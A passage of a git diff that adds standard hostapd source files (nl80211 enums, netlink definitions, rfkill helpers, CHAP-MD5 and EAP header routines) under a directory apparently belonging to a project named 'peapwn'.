NL80211_PLINK_HOLDING, + NL80211_PLINK_BLOCKED, + + /* keep last */ + NUM_NL80211_PLINK_STATES, + MAX_NL80211_PLINK_STATES = NUM_NL80211_PLINK_STATES - 1 +}; + +/** + * enum nl80211_plink_action - actions to perform in mesh peers + * + * @NL80211_PLINK_ACTION_NO_ACTION: perform no action + * @NL80211_PLINK_ACTION_OPEN: start mesh peer link establishment + * @NL80211_PLINK_ACTION_BLOCK: block traffic from this mesh peer + * @NUM_NL80211_PLINK_ACTIONS: number of possible actions + */ +enum plink_actions { + NL80211_PLINK_ACTION_NO_ACTION, + NL80211_PLINK_ACTION_OPEN, + NL80211_PLINK_ACTION_BLOCK, + + NUM_NL80211_PLINK_ACTIONS, +}; + + +#define NL80211_KCK_LEN 16 +#define NL80211_KEK_LEN 16 +#define NL80211_REPLAY_CTR_LEN 8 + +/** + * enum nl80211_rekey_data - attributes for GTK rekey offload + * @__NL80211_REKEY_DATA_INVALID: invalid number for nested attributes + * @NL80211_REKEY_DATA_KEK: key encryption key (binary) + * @NL80211_REKEY_DATA_KCK: key confirmation key (binary) + * @NL80211_REKEY_DATA_REPLAY_CTR: replay counter (binary) + * @NUM_NL80211_REKEY_DATA: number of rekey attributes (internal) + * @MAX_NL80211_REKEY_DATA: highest rekey attribute (internal) + */ +enum nl80211_rekey_data { + __NL80211_REKEY_DATA_INVALID, + NL80211_REKEY_DATA_KEK, + NL80211_REKEY_DATA_KCK, + NL80211_REKEY_DATA_REPLAY_CTR, + + /* keep last */ + NUM_NL80211_REKEY_DATA, + MAX_NL80211_REKEY_DATA = NUM_NL80211_REKEY_DATA - 1 +}; + +/** + * enum nl80211_hidden_ssid - values for %NL80211_ATTR_HIDDEN_SSID + * @NL80211_HIDDEN_SSID_NOT_IN_USE: do not hide SSID (i.e., broadcast it in + * Beacon frames) + * @NL80211_HIDDEN_SSID_ZERO_LEN: hide SSID by using zero-length SSID element + * in Beacon frames + * @NL80211_HIDDEN_SSID_ZERO_CONTENTS: hide SSID by using correct length of SSID + * element in Beacon frames but zero out each byte in the SSID + */ +enum nl80211_hidden_ssid { + NL80211_HIDDEN_SSID_NOT_IN_USE, + NL80211_HIDDEN_SSID_ZERO_LEN, + NL80211_HIDDEN_SSID_ZERO_CONTENTS +}; + +/** + * enum nl80211_sta_wme_attr - station WME attributes + * @__NL80211_STA_WME_INVALID: invalid number for nested attribute + * @NL80211_STA_WME_UAPSD_QUEUES: bitmap of uapsd queues. the format + * is the same as the AC bitmap in the QoS info field. + * @NL80211_STA_WME_MAX_SP: max service period. the format is the same + * as the MAX_SP field in the QoS info field (but already shifted down). + * @__NL80211_STA_WME_AFTER_LAST: internal + * @NL80211_STA_WME_MAX: highest station WME attribute + */ +enum nl80211_sta_wme_attr { + __NL80211_STA_WME_INVALID, + NL80211_STA_WME_UAPSD_QUEUES, + NL80211_STA_WME_MAX_SP, + + /* keep last */ + __NL80211_STA_WME_AFTER_LAST, + NL80211_STA_WME_MAX = __NL80211_STA_WME_AFTER_LAST - 1 +}; + +/** + * enum nl80211_pmksa_candidate_attr - attributes for PMKSA caching candidates + * @__NL80211_PMKSA_CANDIDATE_INVALID: invalid number for nested attributes + * @NL80211_PMKSA_CANDIDATE_INDEX: candidate index (u32; the smaller, the higher + * priority) + * @NL80211_PMKSA_CANDIDATE_BSSID: candidate BSSID (6 octets) + * @NL80211_PMKSA_CANDIDATE_PREAUTH: RSN pre-authentication supported (flag) + * @NUM_NL80211_PMKSA_CANDIDATE: number of PMKSA caching candidate attributes + * (internal) + * @MAX_NL80211_PMKSA_CANDIDATE: highest PMKSA caching candidate attribute + * (internal) + */ +enum nl80211_pmksa_candidate_attr { + __NL80211_PMKSA_CANDIDATE_INVALID, + NL80211_PMKSA_CANDIDATE_INDEX, + NL80211_PMKSA_CANDIDATE_BSSID, + NL80211_PMKSA_CANDIDATE_PREAUTH, + + /* keep last */ + NUM_NL80211_PMKSA_CANDIDATE, + MAX_NL80211_PMKSA_CANDIDATE = NUM_NL80211_PMKSA_CANDIDATE - 1 +}; + +/** + * enum nl80211_tdls_operation - values for %NL80211_ATTR_TDLS_OPERATION + * @NL80211_TDLS_DISCOVERY_REQ: Send a TDLS discovery request + * @NL80211_TDLS_SETUP: Setup TDLS link + * @NL80211_TDLS_TEARDOWN: Teardown a TDLS link which is already established + * @NL80211_TDLS_ENABLE_LINK: Enable TDLS link + * @NL80211_TDLS_DISABLE_LINK: Disable TDLS link + */ +enum nl80211_tdls_operation { + NL80211_TDLS_DISCOVERY_REQ, + NL80211_TDLS_SETUP, + NL80211_TDLS_TEARDOWN, + NL80211_TDLS_ENABLE_LINK, + NL80211_TDLS_DISABLE_LINK, +}; + +/* + * enum nl80211_ap_sme_features - device-integrated AP features + * Reserved for future use, no bits are defined in + * NL80211_ATTR_DEVICE_AP_SME yet. +enum nl80211_ap_sme_features { +}; + */ + +/** + * enum nl80211_feature_flags - device/driver features + * @NL80211_FEATURE_SK_TX_STATUS: This driver supports reflecting back + * TX status to the socket error queue when requested with the + * socket option. + * @NL80211_FEATURE_HT_IBSS: This driver supports IBSS with HT datarates. + * @NL80211_FEATURE_INACTIVITY_TIMER: This driver takes care of freeing up + * the connected inactive stations in AP mode. + * @NL80211_FEATURE_CELL_BASE_REG_HINTS: This driver has been tested + * to work properly to suppport receiving regulatory hints from + * cellular base stations. + * @NL80211_FEATURE_P2P_DEVICE_NEEDS_CHANNEL: If this is set, an active + * P2P Device (%NL80211_IFTYPE_P2P_DEVICE) requires its own channel + * in the interface combinations, even when it's only used for scan + * and remain-on-channel. This could be due to, for example, the + * remain-on-channel implementation requiring a channel context. + * @NL80211_FEATURE_SAE: This driver supports simultaneous authentication of + * equals (SAE) with user space SME (NL80211_CMD_AUTHENTICATE) in station + * mode + * @NL80211_FEATURE_LOW_PRIORITY_SCAN: This driver supports low priority scan + * @NL80211_FEATURE_SCAN_FLUSH: Scan flush is supported + * @NL80211_FEATURE_AP_SCAN: Support scanning using an AP vif + * @NL80211_FEATURE_VIF_TXPOWER: The driver supports per-vif TX power setting + * @NL80211_FEATURE_NEED_OBSS_SCAN: The driver expects userspace to perform + * OBSS scans and generate 20/40 BSS coex reports. This flag is used only + * for drivers implementing the CONNECT API, for AUTH/ASSOC it is implied. + * @NL80211_FEATURE_P2P_GO_CTWIN: P2P GO implementation supports CT Window + * setting + * @NL80211_FEATURE_P2P_GO_OPPPS: P2P GO implementation supports opportunistic + * powersave + * @NL80211_FEATURE_FULL_AP_CLIENT_STATE: The driver supports full state + * transitions for AP clients. Without this flag (and if the driver + * doesn't have the AP SME in the device) the driver supports adding + * stations only when they're associated and adds them in associated + * state (to later be transitioned into authorized), with this flag + * they should be added before even sending the authentication reply + * and then transitioned into authenticated, associated and authorized + * states using station flags. + * Note that even for drivers that support this, the default is to add + * stations in authenticated/associated state, so to add unauthenticated + * stations the authenticated/associated bits have to be set in the mask. + * @NL80211_FEATURE_ADVERTISE_CHAN_LIMITS: cfg80211 advertises channel limits + * (HT40, VHT 80/160 MHz) if this flag is set + * @NL80211_FEATURE_USERSPACE_MPM: This driver supports a userspace Mesh + * Peering Management entity which may be implemented by registering for + * beacons or NL80211_CMD_NEW_PEER_CANDIDATE events. The mesh beacon is + * still generated by the driver. + * @NL80211_FEATURE_ACTIVE_MONITOR: This driver supports an active monitor + * interface. An active monitor interface behaves like a normal monitor + * interface, but gets added to the driver. It ensures that incoming + * unicast packets directed at the configured interface address get ACKed. + */ +enum nl80211_feature_flags { + NL80211_FEATURE_SK_TX_STATUS = 1 << 0, + NL80211_FEATURE_HT_IBSS = 1 << 1, + NL80211_FEATURE_INACTIVITY_TIMER = 1 << 2, + NL80211_FEATURE_CELL_BASE_REG_HINTS = 1 << 3, + NL80211_FEATURE_P2P_DEVICE_NEEDS_CHANNEL = 1 << 4, + NL80211_FEATURE_SAE = 1 << 5, + NL80211_FEATURE_LOW_PRIORITY_SCAN = 1 << 6, + NL80211_FEATURE_SCAN_FLUSH = 1 << 7, + NL80211_FEATURE_AP_SCAN = 1 << 8, + NL80211_FEATURE_VIF_TXPOWER = 1 << 9, + NL80211_FEATURE_NEED_OBSS_SCAN = 1 << 10, + NL80211_FEATURE_P2P_GO_CTWIN = 1 << 11, + NL80211_FEATURE_P2P_GO_OPPPS = 1 << 12, + /* bit 13 is reserved */ + NL80211_FEATURE_ADVERTISE_CHAN_LIMITS = 1 << 14, + NL80211_FEATURE_FULL_AP_CLIENT_STATE = 1 << 15, + NL80211_FEATURE_USERSPACE_MPM = 1 << 16, + NL80211_FEATURE_ACTIVE_MONITOR = 1 << 17, +}; + +/** + * enum nl80211_probe_resp_offload_support_attr - optional supported + * protocols for probe-response offloading by the driver/FW. + * To be used with the %NL80211_ATTR_PROBE_RESP_OFFLOAD attribute. + * Each enum value represents a bit in the bitmap of supported + * protocols. Typically a subset of probe-requests belonging to a + * supported protocol will be excluded from offload and uploaded + * to the host. + * + * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS: Support for WPS ver. 1 + * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS2: Support for WPS ver. 2 + * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_P2P: Support for P2P + * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_80211U: Support for 802.11u + */ +enum nl80211_probe_resp_offload_support_attr { + NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS = 1<<0, + NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS2 = 1<<1, + NL80211_PROBE_RESP_OFFLOAD_SUPPORT_P2P = 1<<2, + NL80211_PROBE_RESP_OFFLOAD_SUPPORT_80211U = 1<<3, +}; + +/** + * enum nl80211_connect_failed_reason - connection request failed reasons + * @NL80211_CONN_FAIL_MAX_CLIENTS: Maximum number of clients that can be + * handled by the AP is reached. + * @NL80211_CONN_FAIL_BLOCKED_CLIENT: Connection request is rejected due to ACL. + */ +enum nl80211_connect_failed_reason { + NL80211_CONN_FAIL_MAX_CLIENTS, + NL80211_CONN_FAIL_BLOCKED_CLIENT, +}; + +/** + * enum nl80211_scan_flags - scan request control flags + * + * Scan request control flags are used to control the handling + * of NL80211_CMD_TRIGGER_SCAN and NL80211_CMD_START_SCHED_SCAN + * requests. + * + * @NL80211_SCAN_FLAG_LOW_PRIORITY: scan request has low priority + * @NL80211_SCAN_FLAG_FLUSH: flush cache before scanning + * @NL80211_SCAN_FLAG_AP: force a scan even if the interface is configured + * as AP and the beaconing has already been configured. This attribute is + * dangerous because will destroy stations performance as a lot of frames + * will be lost while scanning off-channel, therefore it must be used only + * when really needed + */ +enum nl80211_scan_flags { + NL80211_SCAN_FLAG_LOW_PRIORITY = 1<<0, + NL80211_SCAN_FLAG_FLUSH = 1<<1, + NL80211_SCAN_FLAG_AP = 1<<2, +}; + +/** + * enum nl80211_acl_policy - access control policy + * + * Access control policy is applied on a MAC list set by + * %NL80211_CMD_START_AP and %NL80211_CMD_SET_MAC_ACL, to + * be used with %NL80211_ATTR_ACL_POLICY. + * + * @NL80211_ACL_POLICY_ACCEPT_UNLESS_LISTED: Deny stations which are + * listed in ACL, i.e. allow all the stations which are not listed + * in ACL to authenticate. + * @NL80211_ACL_POLICY_DENY_UNLESS_LISTED: Allow the stations which are listed + * in ACL, i.e. deny all the stations which are not listed in ACL. + */ +enum nl80211_acl_policy { + NL80211_ACL_POLICY_ACCEPT_UNLESS_LISTED, + NL80211_ACL_POLICY_DENY_UNLESS_LISTED, +}; + +/** + * enum nl80211_radar_event - type of radar event for DFS operation + * + * Type of event to be used with NL80211_ATTR_RADAR_EVENT to inform userspace + * about detected radars or success of the channel available check (CAC) + * + * @NL80211_RADAR_DETECTED: A radar pattern has been detected. The channel is + * now unusable. + * @NL80211_RADAR_CAC_FINISHED: Channel Availability Check has been finished, + * the channel is now available. + * @NL80211_RADAR_CAC_ABORTED: Channel Availability Check has been aborted, no + * change to the channel status. + * @NL80211_RADAR_NOP_FINISHED: The Non-Occupancy Period for this channel is + * over, channel becomes usable. + */ +enum nl80211_radar_event { + NL80211_RADAR_DETECTED, + NL80211_RADAR_CAC_FINISHED, + NL80211_RADAR_CAC_ABORTED, + NL80211_RADAR_NOP_FINISHED, +}; + +/** + * enum nl80211_dfs_state - DFS states for channels + * + * Channel states used by the DFS code. + * + * @NL80211_DFS_USABLE: The channel can be used, but channel availability + * check (CAC) must be performed before using it for AP or IBSS. + * @NL80211_DFS_UNAVAILABLE: A radar has been detected on this channel, it + * is therefore marked as not available. + * @NL80211_DFS_AVAILABLE: The channel has been CAC checked and is available. + */ +enum nl80211_dfs_state { + NL80211_DFS_USABLE, + NL80211_DFS_UNAVAILABLE, + NL80211_DFS_AVAILABLE, +}; + +/** + * enum enum nl80211_protocol_features - nl80211 protocol features + * @NL80211_PROTOCOL_FEATURE_SPLIT_WIPHY_DUMP: nl80211 supports splitting + * wiphy dumps (if requested by the application with the attribute + * %NL80211_ATTR_SPLIT_WIPHY_DUMP. Also supported is filtering the + * wiphy dump by %NL80211_ATTR_WIPHY, %NL80211_ATTR_IFINDEX or + * %NL80211_ATTR_WDEV. + */ +enum nl80211_protocol_features { + NL80211_PROTOCOL_FEATURE_SPLIT_WIPHY_DUMP = 1 << 0, +}; + +/** + * enum nl80211_crit_proto_id - nl80211 critical protocol identifiers + * + * @NL80211_CRIT_PROTO_UNSPEC: protocol unspecified. + * @NL80211_CRIT_PROTO_DHCP: BOOTP or DHCPv6 protocol. + * @NL80211_CRIT_PROTO_EAPOL: EAPOL protocol. + * @NL80211_CRIT_PROTO_APIPA: APIPA protocol. + * @NUM_NL80211_CRIT_PROTO: must be kept last. + */ +enum nl80211_crit_proto_id { + NL80211_CRIT_PROTO_UNSPEC, + NL80211_CRIT_PROTO_DHCP, + NL80211_CRIT_PROTO_EAPOL, + NL80211_CRIT_PROTO_APIPA, + /* add other protocols before this one */ + NUM_NL80211_CRIT_PROTO +}; + +/* maximum duration for critical protocol measures */ +#define NL80211_CRIT_PROTO_MAX_DURATION 5000 /* msec */ + +/** + * enum nl80211_rxmgmt_flags - flags for received management frame. + * + * Used by cfg80211_rx_mgmt() + * + * @NL80211_RXMGMT_FLAG_ANSWERED: frame was answered by device/driver. + */ +enum nl80211_rxmgmt_flags { + NL80211_RXMGMT_FLAG_ANSWERED = 1 << 0, +}; + +#endif /* __LINUX_NL80211_H */ diff --git a/peapwn/mods/hostap/src/drivers/priv_netlink.h b/peapwn/mods/hostap/src/drivers/priv_netlink.h new file mode 100644 index 000000000..74d6ce58e --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/priv_netlink.h @@ -0,0 +1,107 @@ +/* + * wpa_supplicant - Private copy of Linux netlink/rtnetlink definitions. + * Copyright (c) 2003-2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef PRIV_NETLINK_H +#define PRIV_NETLINK_H + +/* + * This should be replaced with user space header once one is available with C + * library, etc.. + */ + +#ifndef IFF_LOWER_UP +#define IFF_LOWER_UP 0x10000 /* driver signals L1 up */ +#endif +#ifndef IFF_DORMANT +#define IFF_DORMANT 0x20000 /* driver signals dormant */ +#endif + +#ifndef IFLA_IFNAME +#define IFLA_IFNAME 3 +#endif +#ifndef IFLA_WIRELESS +#define IFLA_WIRELESS 11 +#endif +#ifndef IFLA_OPERSTATE +#define IFLA_OPERSTATE 16 +#endif +#ifndef IFLA_LINKMODE +#define IFLA_LINKMODE 17 +#define IF_OPER_DORMANT 5 +#define IF_OPER_UP 6 +#endif + +#define NLM_F_REQUEST 1 + +#define NETLINK_ROUTE 0 +#define RTMGRP_LINK 1 +#define RTM_BASE 0x10 +#define RTM_NEWLINK (RTM_BASE + 0) +#define RTM_DELLINK (RTM_BASE + 1) +#define RTM_SETLINK (RTM_BASE + 3) + +#define NLMSG_ALIGNTO 4 +#define NLMSG_ALIGN(len) (((len) + NLMSG_ALIGNTO - 1) & ~(NLMSG_ALIGNTO - 1)) +#define NLMSG_HDRLEN ((int) NLMSG_ALIGN(sizeof(struct nlmsghdr))) +#define NLMSG_LENGTH(len) ((len) + NLMSG_ALIGN(sizeof(struct nlmsghdr))) +#define NLMSG_SPACE(len) NLMSG_ALIGN(NLMSG_LENGTH(len)) +#define NLMSG_DATA(nlh) ((void*) (((char*) nlh) + NLMSG_LENGTH(0))) +#define NLMSG_NEXT(nlh,len) ((len) -= NLMSG_ALIGN((nlh)->nlmsg_len), \ + (struct nlmsghdr *) \ + (((char *)(nlh)) + NLMSG_ALIGN((nlh)->nlmsg_len))) +#define NLMSG_OK(nlh,len) ((len) >= (int) sizeof(struct nlmsghdr) && \ + (nlh)->nlmsg_len >= sizeof(struct nlmsghdr) && \ + (int) (nlh)->nlmsg_len <= (len)) +#define NLMSG_PAYLOAD(nlh,len) ((nlh)->nlmsg_len - NLMSG_SPACE((len))) + +#define RTA_ALIGNTO 4 +#define RTA_ALIGN(len) (((len) + RTA_ALIGNTO - 1) & ~(RTA_ALIGNTO - 1)) +#define RTA_OK(rta,len) \ +((len) > 0 && (rta)->rta_len >= sizeof(struct rtattr) && \ +(rta)->rta_len <= (len)) +#define RTA_NEXT(rta,attrlen) \ +((attrlen) -= RTA_ALIGN((rta)->rta_len), \ +(struct rtattr *) (((char *)(rta)) + RTA_ALIGN((rta)->rta_len))) +#define RTA_LENGTH(len) (RTA_ALIGN(sizeof(struct rtattr)) + (len)) +#define RTA_DATA(rta) ((void *) (((char *) (rta)) + RTA_LENGTH(0))) + + +struct sockaddr_nl +{ + sa_family_t nl_family; + unsigned short nl_pad; + u32 nl_pid; + u32 nl_groups; +}; + +struct nlmsghdr +{ + u32 nlmsg_len; + u16 nlmsg_type; + u16 nlmsg_flags; + u32 nlmsg_seq; + u32 nlmsg_pid; +}; + +struct ifinfomsg +{ + unsigned char ifi_family; + unsigned char __ifi_pad; + unsigned short ifi_type; + int ifi_index; + unsigned ifi_flags; + unsigned ifi_change; +}; + +struct rtattr +{ + unsigned short rta_len; + unsigned short rta_type; +}; + +#endif /* PRIV_NETLINK_H */ diff --git a/peapwn/mods/hostap/src/drivers/rfkill.c b/peapwn/mods/hostap/src/drivers/rfkill.c new file mode 100644 index 000000000..45b26c46b --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/rfkill.c @@ -0,0 +1,188 @@ +/* + * Linux rfkill helper functions for driver wrappers + * Copyright (c) 2010, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include + +#include "utils/common.h" +#include "utils/eloop.h" +#include "rfkill.h" + +#define RFKILL_EVENT_SIZE_V1 8 + +struct rfkill_event { + u32 idx; + u8 type; + u8 op; + u8 soft; + u8 hard; +} STRUCT_PACKED; + +enum rfkill_operation { + RFKILL_OP_ADD = 0, + RFKILL_OP_DEL, + RFKILL_OP_CHANGE, + RFKILL_OP_CHANGE_ALL, +}; + +enum rfkill_type { + RFKILL_TYPE_ALL = 0, + RFKILL_TYPE_WLAN, + RFKILL_TYPE_BLUETOOTH, + RFKILL_TYPE_UWB, + RFKILL_TYPE_WIMAX, + RFKILL_TYPE_WWAN, + RFKILL_TYPE_GPS, + RFKILL_TYPE_FM, + NUM_RFKILL_TYPES, +}; + + +struct rfkill_data { + struct rfkill_config *cfg; + int fd; + int blocked; +}; + + +static void rfkill_receive(int sock, void *eloop_ctx, void *sock_ctx) +{ + struct rfkill_data *rfkill = eloop_ctx; + struct rfkill_event event; + ssize_t len; + int new_blocked; + + len = read(rfkill->fd, &event, sizeof(event)); + if (len < 0) { + wpa_printf(MSG_ERROR, "rfkill: Event read failed: %s", + strerror(errno)); + return; + } + if (len != RFKILL_EVENT_SIZE_V1) { + wpa_printf(MSG_DEBUG, "rfkill: Unexpected event size " + "%d (expected %d)", + (int) len, RFKILL_EVENT_SIZE_V1); + return; + } + wpa_printf(MSG_DEBUG, "rfkill: event: idx=%u type=%d " + "op=%u soft=%u hard=%u", + event.idx, event.type, event.op, event.soft, + event.hard); + if (event.op != RFKILL_OP_CHANGE || event.type != RFKILL_TYPE_WLAN) + return; + + if (event.hard) { + wpa_printf(MSG_INFO, "rfkill: WLAN hard blocked"); + new_blocked = 1; + } else if (event.soft) { + wpa_printf(MSG_INFO, "rfkill: WLAN soft blocked"); + new_blocked = 1; + } else { + wpa_printf(MSG_INFO, "rfkill: WLAN unblocked"); + new_blocked = 0; + } + + if (new_blocked != rfkill->blocked) { + rfkill->blocked = new_blocked; + if (new_blocked) + rfkill->cfg->blocked_cb(rfkill->cfg->ctx); + else + rfkill->cfg->unblocked_cb(rfkill->cfg->ctx); + } +} + + +struct rfkill_data * rfkill_init(struct rfkill_config *cfg) +{ + struct rfkill_data *rfkill; + struct rfkill_event event; + ssize_t len; + + rfkill = os_zalloc(sizeof(*rfkill)); + if (rfkill == NULL) + return NULL; + + rfkill->cfg = cfg; + rfkill->fd = open("/dev/rfkill", O_RDONLY); + if (rfkill->fd < 0) { + wpa_printf(MSG_INFO, "rfkill: Cannot open RFKILL control " + "device"); + goto fail; + } + + if (fcntl(rfkill->fd, F_SETFL, O_NONBLOCK) < 0) { + wpa_printf(MSG_ERROR, "rfkill: Cannot set non-blocking mode: " + "%s", strerror(errno)); + goto fail2; + } + + for (;;) { + len = read(rfkill->fd, &event, sizeof(event)); + if (len < 0) { + if (errno == EAGAIN) + break; /* No more entries */ + wpa_printf(MSG_ERROR, "rfkill: Event read failed: %s", + strerror(errno)); + break; + } + if (len != RFKILL_EVENT_SIZE_V1) { + wpa_printf(MSG_DEBUG, "rfkill: Unexpected event size " + "%d (expected %d)", + (int) len, RFKILL_EVENT_SIZE_V1); + continue; + } + wpa_printf(MSG_DEBUG, "rfkill: initial event: idx=%u type=%d " + "op=%u soft=%u hard=%u", + event.idx, event.type, event.op, event.soft, + event.hard); + if (event.op != RFKILL_OP_ADD || + event.type != RFKILL_TYPE_WLAN) + continue; + if (event.hard) { + wpa_printf(MSG_INFO, "rfkill: WLAN hard blocked"); + rfkill->blocked = 1; + } else if (event.soft) { + wpa_printf(MSG_INFO, "rfkill: WLAN soft blocked"); + rfkill->blocked = 1; + } + } + + eloop_register_read_sock(rfkill->fd, rfkill_receive, rfkill, NULL); + + return rfkill; + +fail2: + close(rfkill->fd); +fail: + os_free(rfkill); + return NULL; +} + + +void rfkill_deinit(struct rfkill_data *rfkill) +{ + if (rfkill == NULL) + return; + + if (rfkill->fd >= 0) { + eloop_unregister_read_sock(rfkill->fd); + close(rfkill->fd); + } + + os_free(rfkill->cfg); + os_free(rfkill); +} + + +int rfkill_is_blocked(struct rfkill_data *rfkill) +{ + if (rfkill == NULL) + return 0; + + return rfkill->blocked; +} diff --git a/peapwn/mods/hostap/src/drivers/rfkill.h b/peapwn/mods/hostap/src/drivers/rfkill.h new file mode 100644 index 000000000..0412ac330 --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/rfkill.h @@ -0,0 +1,25 @@ +/* + * Linux rfkill helper functions for driver wrappers + * Copyright (c) 2010, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef RFKILL_H +#define RFKILL_H + +struct rfkill_data; + +struct rfkill_config { + void *ctx; + char ifname[IFNAMSIZ]; + void (*blocked_cb)(void *ctx); + void (*unblocked_cb)(void *ctx); +}; + +struct rfkill_data * rfkill_init(struct rfkill_config *cfg); +void rfkill_deinit(struct rfkill_data *rfkill); +int rfkill_is_blocked(struct rfkill_data *rfkill); + +#endif /* RFKILL_H */ diff --git a/peapwn/mods/hostap/src/eap_common/Makefile b/peapwn/mods/hostap/src/eap_common/Makefile new file mode 100644 index 000000000..adfd3dfd5 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/Makefile @@ -0,0 +1,8 @@ +all: + @echo Nothing to be made. + +clean: + rm -f *~ *.o *.d *.gcno *.gcda *.gcov + +install: + @echo Nothing to be made. diff --git a/peapwn/mods/hostap/src/eap_common/chap.c b/peapwn/mods/hostap/src/eap_common/chap.c new file mode 100644 index 000000000..820d18a41 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/chap.c @@ -0,0 +1,28 @@ +/* + * CHAP-MD5 (RFC 1994) + * Copyright (c) 2007-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/crypto.h" +#include "chap.h" + +int chap_md5(u8 id, const u8 *secret, size_t secret_len, const u8 *challenge, + size_t challenge_len, u8 *response) +{ + const u8 *addr[3]; + size_t len[3]; + + addr[0] = &id; + len[0] = 1; + addr[1] = secret; + len[1] = secret_len; + addr[2] = challenge; + len[2] = challenge_len; + return md5_vector(3, addr, len, response); +} diff --git a/peapwn/mods/hostap/src/eap_common/chap.h b/peapwn/mods/hostap/src/eap_common/chap.h new file mode 100644 index 000000000..a791505f9 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/chap.h @@ -0,0 +1,17 @@ +/* + * CHAP-MD5 (RFC 1994) + * Copyright (c) 2007-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef CHAP_H +#define CHAP_H + +#define CHAP_MD5_LEN 16 + +int chap_md5(u8 id, const u8 *secret, size_t secret_len, const u8 *challenge, + size_t challenge_len, u8 *response); + +#endif /* CHAP_H */ diff --git a/peapwn/mods/hostap/src/eap_common/eap_common.c b/peapwn/mods/hostap/src/eap_common/eap_common.c new file mode 100644 index 000000000..7b077cb9f --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/eap_common.c @@ -0,0 +1,205 @@ +/* + * EAP common peer/server definitions + * Copyright (c) 2004-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "eap_defs.h" +#include "eap_common.h" + +/** + * eap_hdr_len_valid - Validate EAP header length field + * @msg: EAP frame (starting with EAP header) + * @min_payload: Minimum payload length needed + * Returns: 1 for valid header, 0 for invalid + * + * This is a helper function that does minimal validation of EAP messages. The + * length field is verified to be large enough to include the header and not + * too large to go beyond the end of the buffer. + */ +int eap_hdr_len_valid(const struct wpabuf *msg, size_t min_payload) +{ + const struct eap_hdr *hdr; + size_t len; + + if (msg == NULL) + return 0; + + hdr = wpabuf_head(msg); + + if (wpabuf_len(msg) < sizeof(*hdr)) { + wpa_printf(MSG_INFO, "EAP: Too short EAP frame"); + return 0; + } + + len = be_to_host16(hdr->length); + if (len < sizeof(*hdr) + min_payload || len > wpabuf_len(msg)) { + wpa_printf(MSG_INFO, "EAP: Invalid EAP length"); + return 0; + } + + return 1; +} + + +/** + * eap_hdr_validate - Validate EAP header + * @vendor: Expected EAP Vendor-Id (0 = IETF) + * @eap_type: Expected EAP type number + * @msg: EAP frame (starting with EAP header) + * @plen: Pointer to variable to contain the returned payload length + * Returns: Pointer to EAP payload (after type field), or %NULL on failure + * + * This is a helper function for EAP method implementations. This is usually + * called in the beginning of struct eap_method::process() function to verify + * that the received EAP request packet has a valid header. This function is + * able to process both legacy and expanded EAP headers and in most cases, the + * caller can just use the returned payload pointer (into *plen) for processing + * the payload regardless of whether the packet used the expanded EAP header or + * not. + */ +const u8 * eap_hdr_validate(int vendor, EapType eap_type, + const struct wpabuf *msg, size_t *plen) +{ + const struct eap_hdr *hdr; + const u8 *pos; + size_t len; + + if (!eap_hdr_len_valid(msg, 1)) + return NULL; + + hdr = wpabuf_head(msg); + len = be_to_host16(hdr->length); + pos = (const u8 *) (hdr + 1); + + if (*pos == EAP_TYPE_EXPANDED) { + int exp_vendor; + u32 exp_type; + if (len < sizeof(*hdr) + 8) { + wpa_printf(MSG_INFO, "EAP: Invalid expanded EAP " + "length"); + return NULL; + } + pos++; + exp_vendor = WPA_GET_BE24(pos); + pos += 3; + exp_type = WPA_GET_BE32(pos); + pos += 4; + if (exp_vendor != vendor || exp_type != (u32) eap_type) { + wpa_printf(MSG_INFO, "EAP: Invalid expanded frame " + "type"); + return NULL; + } + + *plen = len - sizeof(*hdr) - 8; + return pos; + } else { + if (vendor != EAP_VENDOR_IETF || *pos != eap_type) { + wpa_printf(MSG_INFO, "EAP: Invalid frame type"); + return NULL; + } + *plen = len - sizeof(*hdr) - 1; + return pos + 1; + } +} + + +/** + * eap_msg_alloc - Allocate a buffer for an EAP message + * @vendor: Vendor-Id (0 = IETF) + * @type: EAP type + * @payload_len: Payload length in bytes (data after Type) + * @code: Message Code (EAP_CODE_*) + * @identifier: Identifier + * Returns: Pointer to the allocated message buffer or %NULL on error + * + * This function can be used to allocate a buffer for an EAP message and fill + * in the EAP header. This function is automatically using expanded EAP header + * if the selected Vendor-Id is not IETF. In other words, most EAP methods do + * not need to separately select which header type to use when using this + * function to allocate the message buffers. The returned buffer has room for + * payload_len bytes and has the EAP header and Type field already filled in. + */ +struct wpabuf * eap_msg_alloc(int vendor, EapType type, size_t payload_len, + u8 code, u8 identifier) +{ + struct wpabuf *buf; + struct eap_hdr *hdr; + size_t len; + + len = sizeof(struct eap_hdr) + (vendor == EAP_VENDOR_IETF ? 1 : 8) + + payload_len; + buf = wpabuf_alloc(len); + if (buf == NULL) + return NULL; + + hdr = wpabuf_put(buf, sizeof(*hdr)); + hdr->code = code; + hdr->identifier = identifier; + hdr->length = host_to_be16(len); + + if (vendor == EAP_VENDOR_IETF) { + wpabuf_put_u8(buf, type); + } else { + wpabuf_put_u8(buf, EAP_TYPE_EXPANDED); + wpabuf_put_be24(buf, vendor); + wpabuf_put_be32(buf, type); + } + + return buf; +} + + +/** + * eap_update_len - Update EAP header length + * @msg: EAP message from eap_msg_alloc + * + * This function updates the length field in the EAP header to match with the + * current length for the buffer. This allows eap_msg_alloc() to be used to + * allocate a larger buffer than the exact message length (e.g., if exact + * message length is not 